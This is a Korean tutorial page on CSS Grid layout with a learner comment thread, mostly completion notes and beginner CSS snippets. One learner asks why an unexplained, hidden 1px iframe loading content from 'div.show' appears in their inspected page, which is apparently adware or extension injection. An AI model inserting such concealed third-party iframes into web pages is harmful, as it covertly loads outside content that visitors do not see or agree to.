WEB2 - CSS

그리드

그리드의 기본 사용법

강의

caniuse 홈페이지

 

소스코드

변경사항

 

 

 

그리드 써먹기

강의

 

 

소스코드

변경사항

Grid 기능의 호환성

https://caniuse.com/#feat=css-grid 

댓글

댓글 본문
  1. HyeonHui Jeong
    5/24
  2. goodluck
    완료
  3. WinnieKim
    5/7
  4. 귤맛집
    20/05/07
  5. 슈우잉
    완료
  6. Yunnew Yun
    ddone
  7. grid-template-columns: 150px 1fr; 기억
  8. 완료 200426
  9. Chang-yun Jeong
    4/21
  10. 언제쯤잘하려나
    제가 아톰에서는 입력하지 않은
    <a href="index.html">
    </a>
    이 코드가 페이지 검사를 누르면 여러군데에 있는데 왜그런거죠..?
  11. 완료
  12. 코딩하는렌즈쟁이
    2020-04-16
    그리드
    fr 비율에 맞춰서 커지고 작아짐
    grid
  13. 태현
    4/6
    감사합니다.
  14. cocohan11
    미디어쿼리로 글꼴을 변경하려고 해요. 그런데 h1태그는 바뀌어도 ol태그는 글꼴이 안 바껴서 헤매고있어요. 한번 봐주시겠어요?

    h1 {
    font-size: 300%;
    border-bottom: none;
    text-align: left;
    font-family: cursive;
    }

    #그리드 ol {
    padding-top: 0;
    font-family: cursive;
    }
  15. 혹등고래
    완료
  16. 노래하는프로그래머
    강의 잘 듣고 갑니다 ㅠ
  17. Mongsil
    2020.04.01완료 감사 합니다!
  18. 나의칼나의피
    안녕하세요. WEB1부터 차근차근 따라오고 있는 초심자입니다.
    우분투, Atom 을 각각 사용해서 공부하고 있습니다.
    수업 예제를 작성 후, 웹브라우저에서 inspect를 해보면 항상 제가 입력하지 않은,
    <div>
    <iframe style="height:1px,width:1px;position:absolute;top:0;left:0;border:none;visibility:hidden" src="//div.show/options" id="buttonMenu"></iframe>
    </div>
    코드가 출력되며,
    border 속성을 통해 확인해보면 작성한 div element 들의 아래에 아무 내용이 없는 block level element가 하나 더 출력되어 있습니다.

    원인이 무엇인지 어떻게 해결할 수 있을지 궁금합니다.
  19. 박병섭
    완료 감솨요
  20. lovejun
    완료
  21. span과 div 아무의미도 없는 디자인을 위한tag다
    기본적으로 div 는block element 다
    span 은 inline element다.

    grid를 사용함으로써 왼쪽오른쪽을 구분해 줄 수 있고 아무리 많은 내용이 들어가도 딱맞게 화면이 구분된다.

    3월 18일 완료
  22. OneJae EE
    20.03.16 월 / 37세 비전공자 / 완료
  23. OneJae EE
    20.03.16 월 / 37세 비전공자 / 완료
  24. OneJae EE
    20.03.16 월 / 37세 비전공자 / 완료
  25. 강명규
    20200315 완료
  26. 송우영
    완료!1
  27. 완료! 감사합니다!
  28. 크랭커
    body{
    margin:0;
    }
    a {
    color:black;
    text-decoration: none;
    }
    h1{
    font-size:60px;
    text-align: center;
    border-bottom:1px solid gray;
    margin:0;
    padding:20px;
    }
    ol{
    border-right:1px solid gray;
    width:100px;
    margin:0;
    padding:20px;
    }

    </style>
    </head>
    <body>
    <h1><a href="index.html">3월 9일.</a></h1>
    <div id="grid"
    <ol>
    <li><a href="1.html">나의 상처</a></li>
    <li><a href="2.html">남긴 상처</a></li>
    <li><a href="3.html">돌아가고 싶다.</a></li>
    </ol>
  29. 그리드는 인터넷 익스플로러에서 작동하지 않습니다. 참고하세요.
  30. knh709@naver.com
    해결하셨나요? ㅠㅠ 제가 딱 그 상황입니다..
    너무 답답해요,,,,
    대화보기
    • knh709@naver.com
      해결하셨나요? ㅠㅠ 제가 딱 그 상황입니다..
      너무 답답해요,,,,
      대화보기
      • 리리루루
        저도요 ㅋㅋㅋㅋ html 배우면서 너무 재밌어서 아 내가 본투비문과생인줄 알았더니 이러다 개발자 되는거 아닌가 했었는데 ㅋㅋㅋㅋㅋㅋ css로 넘어오면서 지금 약간 멘붕이에요 ㅠㅠ 그치만 같이 파이팅입니당 ^^
        대화보기
        • Horang
          solid에 오타가났네요
          대화보기
          • ㅊㅇㅈ
            전 노트북에서 작업했는데 똑같은 오류나네요 ㅜㅜ 해결방법 찾으셨나요?
            대화보기
            • 짱아찌
              완료
            • radio2016
              2일 만에 완료!
            • #grid ol {}: 모든 <ol>중에 부모가 #grid인 <ol>
              <div>, <span>: 아무런 의미 없이 단지 디자인의 용도로만 쓰이는 태그
              fr: 화면 전체를 쓰도록 자동으로 조정되는 단위
            • 코딩하쟈
              완료
            • 동구
              완료
            • eddylee123456
              완료
            • 완료
            • opencoder
              완료! 감사합니다 ㅎㅎ
            • 규몽
              완료
            • 뉴빈
              감사합니다.
            • 감사합니다. 완료
            • 감사합니다.!!
            • 장 폴
              완료
            • thsths
              완료
            • id="article" 인 div 태그 안에 있는 본문에 ol 태그를 추가했을 떄 그 ol 태그도 css 의 #grid ol 에 영향을 받나요?
            • 통계가 이렇게 유용하게 쓰일 수 있다니..!
            버전 관리
            egoing
            현재 버전
            선택 버전
            graphittie 자세히 보기